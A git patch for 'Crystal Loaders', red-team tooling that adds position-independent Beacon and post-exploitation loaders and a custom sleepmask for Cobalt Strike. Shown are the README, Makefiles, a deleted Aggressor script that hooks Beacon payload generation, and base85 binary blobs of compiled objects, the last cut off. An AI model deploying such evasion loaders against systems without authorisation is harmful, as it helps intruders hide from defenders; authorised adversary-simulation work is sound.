From 8a22b7316c2a1c270d4bca6e3057804ba1b1ed2c Mon Sep 17 00:00:00 2001 From: Rasta Mouse Date: Sat, 11 Apr 2026 12:36:19 +0100 Subject: [PATCH] big update, add a sleepmask --- LICENSE | 2 +- Makefile | 10 +- README.md | 20 +- crystalpalace.cna | 76 ------- libgate.x64.zip | Bin 1079 -> 0 bytes libtcg.x64.zip | Bin 3977 -> 4019 bytes libtcg.x86.zip | Bin 0 -> 4161 bytes loader/Makefile | 19 ++ loader/bin/loader.x64.o | Bin 0 -> 3739 bytes loader/bin/loader.x86.o | Bin 0 -> 3392 bytes loader/loader.spec | 43 ++++ loader/smart-loader.spec | 49 ++++ loader/src/beacon.h | 391 +++++++++++++++++++++++++++++++ loader/src/loader.c | 164 +++++++++++++ loader/src/loader.h | 12 + {udrl => loader}/src/tcg.h | 21 +- loaders.cna | 107 +++++++++ mask.cna | 39 ++++ mask/Makefile | 19 ++ mask/bin/mask.x64.o | Bin 0 -> 3582 bytes mask/bin/mask.x86.o | Bin 0 -> 3189 bytes mask/mask.spec | 11 + mask/src/beacon.h | 392 ++++++++++++++++++++++++++++++++ mask/src/beacon_gate.h | 68 ++++++ mask/src/mask.c | 175 ++++++++++++++ mask/src/sleepmask.h | 42 ++++ {postex-udrl => mask}/src/tcg.h | 21 +- postex-udrl/Makefile | 12 - postex-udrl/README.md | 13 -- postex-udrl/bin/loader.x64.o | Bin 2735 -> 0 bytes postex-udrl/loader.spec | 24 -- postex-udrl/src/loader.c | 152 ------------- postex/Makefile | 19 ++ postex/bin/loader.x64.o | Bin 0 -> 2681 bytes postex/bin/loader.x86.o | Bin 0 -> 2606 bytes postex/loader.spec | 49 ++++ postex/src/loader.c | 115 ++++++++++ postex/src/loader.h | 17 ++ postex/src/tcg.h | 102 +++++++++ udrl/Makefile | 12 - udrl/README.md | 14 -- udrl/bin/loader.x64.o | Bin 6697 -> 0 bytes udrl/loader.spec | 23 -- udrl/src/beacon.h | 170 -------------- udrl/src/gate.h | 10 - udrl/src/loader.c | 295 ------------------------ 46 files changed, 1884 insertions(+), 824 deletions(-) delete mode 100644 crystalpalace.cna delete mode 100644 libgate.x64.zip create mode 100644 libtcg.x86.zip create mode 100644 loader/Makefile create mode 100644 loader/bin/loader.x64.o create mode 100644 loader/bin/loader.x86.o create mode 100644 loader/loader.spec create mode 100644 loader/smart-loader.spec create mode 100644 loader/src/beacon.h create mode 100644 loader/src/loader.c create mode 100644 loader/src/loader.h rename {udrl => loader}/src/tcg.h (85%) create mode 100644 loaders.cna create mode 100644 mask.cna create mode 100644 mask/Makefile create mode 100644 mask/bin/mask.x64.o create mode 100644 mask/bin/mask.x86.o create mode 100644 mask/mask.spec create mode 100644 mask/src/beacon.h create mode 100644 mask/src/beacon_gate.h create mode 100644 mask/src/mask.c create mode 100644 mask/src/sleepmask.h rename {postex-udrl => mask}/src/tcg.h (85%) delete mode 100644 postex-udrl/Makefile delete mode 100644 postex-udrl/README.md delete mode 100644 postex-udrl/bin/loader.x64.o delete mode 100644 postex-udrl/loader.spec delete mode 100644 postex-udrl/src/loader.c create mode 100644 postex/Makefile create mode 100644 postex/bin/loader.x64.o create mode 100644 postex/bin/loader.x86.o create mode 100644 postex/loader.spec create mode 100644 postex/src/loader.c create mode 100644 postex/src/loader.h create mode 100644 postex/src/tcg.h delete mode 100644 udrl/Makefile delete mode 100644 udrl/README.md delete mode 100644 udrl/bin/loader.x64.o delete mode 100644 udrl/loader.spec delete mode 100644 udrl/src/beacon.h delete mode 100644 udrl/src/gate.h delete mode 100644 udrl/src/loader.c diff --git a/LICENSE b/LICENSE index e159130..86ef638 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Daniel Duggan, Zero-Point Security Ltd +Copyright (c) 2025 Daniel Duggan Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile index 6ce72a0..5259936 100644 --- a/Makefile +++ b/Makefile @@ -1,7 +1,9 @@ all: - cd udrl && make $@ - cd postex-udrl && make $@ + cd loader && make $@ + cd postex && make $@ + cd mask && make $@ clean: - cd udrl && make $@ - cd postex-udrl && make $@ \ No newline at end of file + cd loader && make $@ + cd postex && make $@ + cd mask && make $@ diff --git a/README.md b/README.md index d3b2896..d6d5fea 100644 --- a/README.md +++ b/README.md @@ -1,18 +1,14 @@ # Crystal Loaders -A small collection of [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) PIC loaders designed for use with Cobalt Strike. +This repo contains a couple of PIC loaders and a custom sleepmask COFF for use with Cobalt Strike. They are basic implementations where custom evasion tradecraft must be weaved in using [Crystal Palace](https://tradecraftgarden.org/). -## Setup +## Usage -1. Download the Crystal Palace Release distrubtion. -2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe`. -3. Load `crystalpalace.cna` into Cobalt Strike. -4. Profit. +1. Download the Crystal Palace [Release](https://tradecraftgarden.org/crystalpalace.html) distrubtion. +2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe` (the client). +3. Load `loaders.cna` to use the custom loaders (there are loaders for both Beacon and postex DLLs). +4. Load `mask.cna` to use the custom sleepmask. -## Tradecraft Garden +## Notes -Read more about Crystal Palace and the Tradecraft Garden [here](https://tradecraftgarden.org/). - -### Notes - -1. I've only written for x64. \ No newline at end of file +You can use just the loaders, just the sleepmask, or both together. Each are compatible with the [4.12 BUD](https://github.com/Cobalt-Strike/bof-vs/blob/dd6addd1f9b4bc637b63247d67552709f0c59ddf/BOF-Template/beacon.h) structures, so in theory, you can mix and match these with other custom loaders and sleepmasks (assuming they are also 4.12-compatible). This project is not backwards-compatible with pre-4.12. diff --git a/crystalpalace.cna b/crystalpalace.cna deleted file mode 100644 index 060334a..0000000 --- a/crystalpalace.cna +++ /dev/null @@ -1,76 +0,0 @@ -import crystalpalace.spec.* from: crystalpalace.jar; -import java.util.HashMap; - -# ------------------------------------ -# $1 - Beacon payload file name -# $2 - Beacon payload (dll binary) -# $3 - Beacon architecture (x86/x64) -# ------------------------------------ -set BEACON_RDLL_GENERATE -{ - local('$beacon $arch $spec_path $spec $payload'); - - $beacon = $2; - $arch = $3; - - if ($arch eq "x86") { - warn("x86 not supported, returning default."); - return $null; - } - - $spec_path = getFileProper(script_resource("udrl"), "loader.spec"); - $spec = [LinkSpec Parse: $spec_path]; - $payload = [$spec run: $beacon, [new HashMap]]; - - if (strlen($payload) == 0) { - warn("Failed to build loader, returning default."); - return $null; - } - - return $payload; -} - -# ------------------------------------ -# $1 - Beacon payload file name -# $2 - Beacon architecture (x86/x64) -# ------------------------------------ -set BEACON_RDLL_SIZE { - return "0"; -} - -# ------------------------------------ -# $1 – Post-ex payload file name -# $2 – Post-ex payload (dll binary) -# $3 – Post-ex architecture (x86/x64) -# $4 – parent Beacon ID -# $5 – GetModuleHandle pointer -# $6 – GetProcAddress pointer -# ------------------------------------ -set POSTEX_RDLL_GENERATE -{ - local('$postex $arch $spec_path $spec $hashMap $final'); - - $postex = $2; - $arch = $3; - - if ($arch eq "x86") { - warn("x86 not supported, returning default."); - return $null; - } - - $spec_path = getFileProper(script_resource("postex-udrl"), "loader.spec"); - $spec = [LinkSpec Parse: $spec_path]; - $hashMap = [new HashMap]; - - [$hashMap put: "\$GMH", cast($5, 'b')]; - [$hashMap put: "\$GPA", cast($6, 'b')]; - - $final = [$spec run: $postex, $hashMap]; - - if (strlen($final) == 0) { - warn("Failed to build loader, returning default."); - return $null; - } - - return $final; -} \ No newline at end of file diff --git a/libgate.x64.zip b/libgate.x64.zip deleted file mode 100644 index 461fb232e0c898c9363b8d1a01cd503dceb730cb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1079 zcmWIWW@Zs#U|`^2INA{#U2gqMo*?p z5H79YW?*D_0aOSkT0`SKL>y)2eSP;uC()i_wcyZE?p-c->VN&U;14UN`&L9szn_^`-_I{!mcC17f?*V+L+>=pMtdQ-ZiZwHy`G{2Ml}vKuikUIIz9NW%;0kL ze@@C15y=@Uy9~1(`S+EbzFB3?{7-T9I=*<%HLKSy_&#;lyJNZEW-^|bdPSJok@2t4 zk{*o(=du`C_sVvB=d7;j`e32t!%6IWyORWyN{=Dz0WgIE@R4>$E#|% zj!%)v5ZV>W`!Iw@t#H;9_4ExqM|o#xgjfb-9}^N;ZJf*%tH)bd{2<7nTT(ymfl`K- z`|1zBmSkprI>57A*mkqeJl(&?A`g`wxS^iQHeWQ&_1uvY2HO%0Qq`VG_xMWn96qAs zKL2&b&PG4Yi|$rYiH@^NuVgMT{xgkl*O>=uF;C352j__#KN+^P>&Kmkl}b}Y)`@?- z8JDS4E$R2)?%eaGoy-i&^{g`DEhhYnUS^w>X8m;0-2YIL9cx7CZF1ENg`=3Yr@t$v8S68n&d+O!9 zRROPTc6uDVmAzC*x_$09tz$3d9|$}8V{gv-O*i=OEgWS&qjQI5`}B^6IvL4HTtxv>ciTMqYJ2MG=O&YftP>qGmDrX3mPA|D zoO#1zP<1{nyufw+jW-^{x^bX e3<2JHVTj4WyD02m^rhMPROHU;qG~@ZqWe diff --git a/libtcg.x64.zip b/libtcg.x64.zip index d5a109e144dd0963d95e6f733dc20e2c47aa7a7e..67915a241d8607cb2dc61760ed7322cea3d8495a 100644 GIT binary patch literal 4019 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 literal 3977 zcma)#R?sevzS?5%(uWHqwz3Rt)_kJI34Lp2m000O9=M+;D)^Eq>02lzw z@d1DYUE(ZEU0Nx%c$l>Sl@+AR4_!v9@_}_2j8(I*mj%la~s3AMZnd!k~7%mz*D(${8K=)zrV|H>1 zIZMUcqaE^9fF2rJAT9U$ETeD}r>T9!2kf(v9)g(>GSc~e;_Yr&42}kiAx*_@cp6|g za8p=}S1K0c8Tfgeg}A2@oR>={bBBBz?65$@dACKLqZ50Hc(s-9JR>&@rI)dl+(m+j zrFJbufR8?`2m`42cBqQS4m2W(K4VT6T`64Pmn`h-iN`XwbK2Q>SYY>!D1IcAF!!F0 zr|eh~1Oln{NGLWJ)56-zu2T5>f=NZ(Me5wCYed8#_s#=YHhp~T?Dz>_KJD6?1Pa#Z zgQ2_D*HWr$AXXrV_V22Yq!5c~)23Ntc3ynjTp+2-f)+0Y2}!1)g(iFj*Wo5^dgvC~ zUY?D1B#dMvW$9;CrpF-d)a7+-&D9t)h6!Utx$D1!L0@r1Nw&85C(mgNV7io+;POr@ zGTjzrUonJNGvuOsAhZ<1D^uGwC1U;hOXP%;#VyW^G*B=#B~wxkOjI#IRPjJZvE`mK zAGleqxU7sglYuQi(}ZG=iFuuw`h~7x4ix6}yt>gbA-_DnCQdt)QDN zIZqwbPnpgt{`31!Bu%^U6S(Bme-rGLe&uB@*f6 z^oxyluPpTQ{LMz;hQp3bD%AN?kwqcVv}K{h90IeT@RG94uNIVz6->gc=>{#cXo<+6 z?;2VL`WmUzJrelp)O2aRZ#G0v-X*tzy)NLjl7lE(8OsG`3Htpo@Hj;U5^r@$n zLDFIIgp|ku!Kz^^5ec?W2zOA7Ll!bM67MN=n8jfCxq|(7{9J~@?(Tf4^UQ8}@H*Sj z?2eXyH~8V*ak-< zV(^GirlPgaT72A{3%qMPCE4i}?|cu@xfByr#lL23y}ghsDzV6|k!~`MIR?dSs%|Ka zR4?$BohzChVIE9qrW!x_@`;z#X;?K@0hzlLxQou$K7O{PL!RDpGl=h@CsVijIJ#wC z1Ea7sAH%Cr>38mZBfr7@@JYZo*YVnM(v(=LUNJ3a#`q#~@4UChCMNagMcj@^uW7=q zW~x4!=GG(nXNCAM)m(0poeeiX8*=P#O%Q75qSZy)#}AFN`_(2jZflDB2Iarp`gAMu z*4G~waw`!7Pu6IPcp*%wseFBQxvcpZj+Ky#1tJ%}F&X4%OB-?%7Fe;j(&VyFY*CeK z_SzY2wJmD@+M2QrN)eN8A~+PH)4g{8L8Rxxtu!+qA7(m4C3pSgK963@+*8LNPd&wzJ}UhoO_~{VOK>Z}+vn9{V9qfi z38{RK?*WwKq`mr;emF24_KOJ5H z4-x^MZ|f{X|oJPwCAh zEzDkTi)K42HIZ+=bLb7%L~mMKsSGSDwp|n}hT-D!vIBtFsKw_?w!L89Wk8~~VxD24heK2WswvYO-a7?pvoibRl!+^-nDyyZ@l z=;#|5n0wzghiL3ZZSPP>vT!B5Jmb+oiuz=xX^`c}hxPO`L9S)-BO{JSo-Ha|X@d+F z)~eQXyp={L+qDX|wOg4!X(EFxTbJbjADBN|7k(n%uXNR=pCNw+rmKUsi@TTeFM;_F zy&JBtd7nz2I&Z_drZY=|1_nhib{F!b@v$-@>Py5))ifk9Wpva|SF;r@?t(yIRNK>3$tlL7y4Nq?Wuit8YtuafYAp(vNL)=sYrFo!(_SrBWm9~s?eF?vfJPvahpeupPY0GHK6X>g%PnAna zj8S+CI9F3>ceWYdhGIjqyn?s!7V;v_QlYRt3W+Bdi+5i83odTm?)Ba<=hzbWeIl^J zhtqWljDK6n9`c}WQZV6|=q+;US%~P?U}n>=Z5B?j ziPC&gkcwYf`ZC|buxeOJ`Z&+`bw=bUHFORY+S85_3KX_UsnIp~NS z+Wyt~57EEP^xLcjR&%8BNuVsaI=qhGv_&AwZaQBZA7y{T|3%v>eMPvycN35>kt8-7 zC>9Y{SmXLGy-sMB^JeO?Vw6CzT^x@oOL4Ktg(Bu5;`Y-@xG^WLpXW`N9lpH#wbus~ zZZ;hLQIBp{{q9=I$yVEC?hL2=@@o~e zwFS09uKQ*k2xc~e@0?|k-R+Oxf-{#bmruG?s20M(4Mc|78r0Qc6tsed+#8t3{#%su z`%2gE8<#NP6$b6J4`9=dFKq^LSQz6v$u_~vL=Y%CFHy94CJ?o<8LjBP;x{NHg%|%! z(X6&}PfBRcD_bvJ+SBEg^VS4ce(W(K9_)K^W~tjHFTLJy zCWDD08^m`$^=(Ysc1kU}D`l&qIpx<~AMp+o6XX5fRUgV` z$%hfa12hUlY=51_+BT05vsW81iU0uMSIdjLjfabqx6LCPOV9sm9_@e5HS;NvAX&73|sajJrXJ5db#D*eCO?$gqP3w1Lh}~?a5lqUs7lNa} zt`l0CQMJ@Z`*d(-9p$&$a=^19}BFVoh7?>V^6dj_}cB(dfTrtQOb ze8!phL(!-~Ivw%Upog&$h#USNk#>yQ$=jH+D1G&^G9u*q{mppjmu& za0lqHSW_uhPggh@vg*K?;*^cdPEyZIX#w5DO%$l9mlzg?S3R=#icNwjvZ^v+KH?5# z7g8n4D5A@iH6t!AoS`Gu1x#Oo{@8x6??x3xi%bP^33-cdXW|Dx90skwxs>%;QK|7a z8o!zL_vW7B;nh>xX=qvW?M*A+3(;^YNxnIS*eq)x>vZi##MV9ha0=aJ2B&;_rY#1) z7>b(Jf%3K1l!OzY>FGW&8J`SHOq5c-MyS2N-yo3LaIZvAZ;d>x5-K}SNVFzoZ&ZT+G=glsuh+WDT#OB-$sLKKCMws zep}LagZccGQYA9S}rkMLHOl?ymF z;*<*LJZ#?z4I*ZrMsZ-Z+~Z@(L=w-^W{BEvG|jA8$i&TTZAW~GGD44B)P;{JMfl*xjPN_uhm_l?28%1@bV1L;Qg+aLn>dbZ<2ZggEx66Q?iOdu|5%7q$GVw9S>(xmr}bm_etx(Fy>K)SThj06ZEC3HcgH|e1xMG!=NK`_#bG!YO4 zR3cqE1f=8Q?#%C}?!L2opLy<``_GxVcRuGl-(#c?hR^{3fC~U`XDRD6?FaM#5CFge z0RYGVYyc;OgRhI2zk-|?$`nol0N(pH8H}{c5^_#t_PdeB^5Y68q{ODGX6QQIiNJw4TQGrLNq8*5 zIZ}4GWl$?h+VP&m0VM@H5QUIUSZM9>SASqH zNmzxvR#ak1NdCIsTvPadFC+5l>b>Kq$JLh4FN-gKEoA)hiD|~NcC8wfssCb;82NG8 z96QvOZ-J?=JHzxIX)bO}R7oYfS}m@a^00<4Wp~jWfsOtTBCm6ZTK9Cw6wd*=bO8XM zIEM&{vUhSqB7eci>>Qz=`%jEaZ@XHVGF{pKGU}bZ%}?oNmLSs3-dW?Eose~HxHKUl zvGI`~HgrlfZoP)2bTA`tIm480sAiA#p!^;)2it1h;@2VSk~ zbXq5TJLa>BEr&nh>J@|6NB65%Zd}u>(%o$L(RO}h6*|l+WkdUg)A`QCEo$P8u4?V6D*>CO(-XAZT*k*LG7w=YE)8^(AICIgXe^nQH*vR zRPp1!Y6nX+6`=w;n_Bb%Ch@|F1QWOyw!^r~(5mw}qKm#pFmXARN0*V_lM3X{;skZ7 z%eHBlrKJ?wSY}wYExZkVMZAMRPq&7RTznTl8@ZIVt>U0UDbpmgV*x${t*iyayfdMl z=K6RF9hv#`mtnj-3n5qq=qDb_`s2+WPL=GVdTSoT8jqbWFsL+fJGcd8&QdoN_=%vh zp~#Ur>(P}K>57Ok3wPDW%-~=_V+yr}l?cQ2%Qu@*?%ej8mmbR@+%pZIJgy2=z|$ry9VRpJ_RCYE?JTiNk2r7#qy&a79{?qvmCMeyKU02U(RZ z&)U3D{fA9w9+CHL= z?yxKxE=Qm{gi_xopuqG7YkSXVU#Uz=iB_Ymt~6Gs-8_tdHpisaCZ?Ty`(o|PhCGty zTOSsD&@i}u<@fwSFUDYT=ZDzdc?SK=A5S+&l((IcFQtxcbWNS@nILo9&<}}UkNYK)rcqNHdwfJHJ*`@ zBZ@}RUv_BI7l8!s>4%)Y+1wA=JhpB5u3blI+}y`AhSz~ycJ}VpdLS20eH8018e_S6 z`C%io?vKBy+-+`g7#N=FMlY&Qj2QPH0-@+q+lsPv6N&~96NLR;2D+g9`6Ve7tCU6T zwdCB=9GewZ95!8CP$?Q!2P&Q z*c#EzEp-#f8-3J;@n!06qsd@6`5D{Z^^(RaN7uqBNk#HKp9nrLLl;kDYlJB>@|oo=nb8k%nUont6LBouk7$%y! zLxnh4^CsOh4z3UYd?IXKExBoUs}8@xLZ6Zz1%;(}5a(}zQpQny96{=_ws&?=%EPSf zyM>2bB@2TzZIR{vhYgZbykjkZSZR*H)ApTP4}BV#jc{5G1<)UU@{bl7<4>k3ce^E| z{N4lx7d0Cc5;T3RF>Ch8vV$mOlOr6|gobMb>cinm`fzh41l%@EL}{bA9aOAr$aOMg zH2}iOXXEIUHYFJ=*NDlYDtZA?M9QH)M-^AuRNDGmlH#_t2;AM!%h4m0pJ9^yC46jy z#1=V8lDIeH6!5_oY)xia_M~34MKM8#K+RgG`3Z}yp_BP^sv%2Hp5WUrO^8ouwZ8z0 zH&rK(mt~6|Q4tYgZ><9ny(FiK%*(iFg758l-#6deGdi@^D=^$W+bb|K&_@@Vb)$8g zi8E==OYLG$2?o~104w8$Px zcSoeqCPf=(`<%;a-Nj?GCwcW_2Vp-5chzkyqnvF(&<)FF{{+zC`-b;{&h)bS6 zob9QJscBbXW)5|MS$bA(A5}p{cIIqufk{r<3jAA&c^;73>++z!*xP}3k+Jp@EXn5Z zyp`Fx4yw(3%UKW{pK6hwW1V^%{uTiE|JeT7Jw~bYX9s}*z|HekL3)m?uaDcWGvnV> zkAJcX=7&N?%i8;x3>pkT;?H?w_C8?6jt?#XFP|;_wbB$8w;}>Rny8Md|sT?Ee zHNQRRpyh8=R<;syZ9I;07iMBv&2U*{W(`0611MMtGR#2=HUR3xH+s&`xgxyh=iFTU z=4o9Wz2<4%oP8J5?5@qv(t4>32;lwWlX|ulI3LUzt1;+$K!JrBOk7U^4nqEUk`i?h z9kRfo5&ixFy{Nt);6O?2vlqP5y5h{LA-wh*kev3;7%?(nl~F^)2MMlno@A(Vw;DNn zuTTt0HFOj{Kh_biNpXP*=EhLRLS5}%T_kha-0jbA0ZpnyMTkN-{b_wfEz@+}GAKSlX} jm;HBx{VIzg2mEHYzx$a)=U)T>5S_35bE76){Q33|0S6K1 literal 0 HcmV?d00001 diff --git a/loader/Makefile b/loader/Makefile new file mode 100644 index 0000000..d15d4b8 --- /dev/null +++ b/loader/Makefile @@ -0,0 +1,19 @@ +CC=i686-w64-mingw32-gcc +CC_64=x86_64-w64-mingw32-gcc +CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith + +.PHONY: all x86 x64 clean + +all: x86 x64 + +bin: + mkdir -p bin + +x86: bin + $(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o + +x64: bin + $(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o + +clean: + rm -rf bin diff --git a/loader/bin/loader.x64.o b/loader/bin/loader.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..f77bfaf1e42e3c61ac41b5119c46fa440431e422 GIT binary patch literal 3739 zcma)9U1(ER96z^7XB}#*Q|#P_QM;{!t*ds!x(Q3x-g%0N3u@i>Vr*{Pu(auJZmlhd zb|tdQB|`++U@z*+LZ=8i%ymPkY%=F-nvbDwIXkEGXfsM4Ds0S&oaCp7%|TZSt2wnKUWdROfA z)?-e3ue|D*3E)G&P~|V|7eZIp&CTEW#C)q6YB0MSEw#a%x@C4@1>thu z&iaewgIvK!PXU-LCdq`~yT{F&+`Mip)L#rXc;Q8OcD!_&)0?k<(ZDB!q2f+xo1pY# zJacjudjOFzE!8oTK1HmVu0zDD=_TkX;{r%OVEsiwaVtY|#3ezOc`az>k=9@5kXV;l z2ugEq3Ng>9C~w*)9Im$=(w&%rEgTXBha`tX5-jFWh)p5RiyYZ1FLpt=zC|f#(qcXK zLd;y?vKI*lvaA(CbNVtS@b7GQn#-_qkoA);5ZyUe8TC9;Z-?sD^j7p#i)M_CfJmJv zq)u|APJ+c!7h+S0^XdhB5LjM4FNc{Lk(ErwRBu(S0_Sozuijy-1`&{q)tyB`t*}OQ z+i9@W92mcV_9;})+6#sCDdZ>CXzzDMJyo&5&Ew#U~ccE)e1uZIf z_X0O(_|$9-)oW_j6I62eYWd7MZiN;RbLAS(gqz7fH*2iW?FV^jD;)Hg%!?^Sl2Pi^q@SiywB58WO^9iTnYfz8#5iz0u7lsZps-EOZ(2{TrKSJtLidX_40Dm6on>_oL5 z9k>AgsL}Wh{+8L}Mx;O=H5xNWpc$A(dc)Aq_l}N^*L}@9c6Gn#+uZi@NPMtu3)pgN z0`%d}%eJE5Akabd>je59{c3@JK)*(yU(r7$&=Cc31>(3&n*`E;o)+j!AoA{ID^M*d z?Erd4aJztHj3f}<8!tNp^t?cmK+g(9KiBI8I*nDmAP_o6m)ZlH5~BGE!BJ(Tlt*IOFtqoQaldLQj7Om}L2ub| zbH8Y@UC=4ZO33}1#kMT2<9c}_0qFQk=FaGTb{6l~%Sr_EgkYp`EL2?pHJI zzlXWs$8;4bOU6DCJynB#gsD*($!nQ8LNprrkvf)`Ge&+S^OeoeAenPj%#T&fZ&l2n zRgB`Qw)DK-VSIKhdNIgGOgO5iw9a6#%n<6R&Ei zpF-2v*ceL5d0Ly?r$W5kn#ks(bVh^JD3Db}YMkwo->mWcG~$pJ^DU!$Ag zb~m&`GeXJOa6;qJ!5A(M5n(;q6NtqSB*h{TETS{8HxP*c?^NG+aC~4WLW>N>59m>S zGypMCp*{OLcJFN(h$a%r9-G^#?%t&a+qN|Ai|fX4G!bygs^Ynv^y-@SKQ54?frYc) z_+U&f;H^;}P4x@n?cqUD6Pwx-AJg9HrOlv~VO3oNLrL98F?G<;N5jeZpuzN{zPYWR G9Q+3XK5HKU literal 0 HcmV?d00001 diff --git a/loader/bin/loader.x86.o b/loader/bin/loader.x86.o new file mode 100644 index 0000000000000000000000000000000000000000..dafa8fc5699345f59518c568ea3bd6dcdf5d0e6d GIT binary patch literal 3392 zcma)8TWl0n7(Ub8mNi*ym7-jVF0x`ZS|~-i8M6x=3%11ux~QRKx^$;>)9r3EJGHbz zD6SirOg5?KJ_v>MzhO 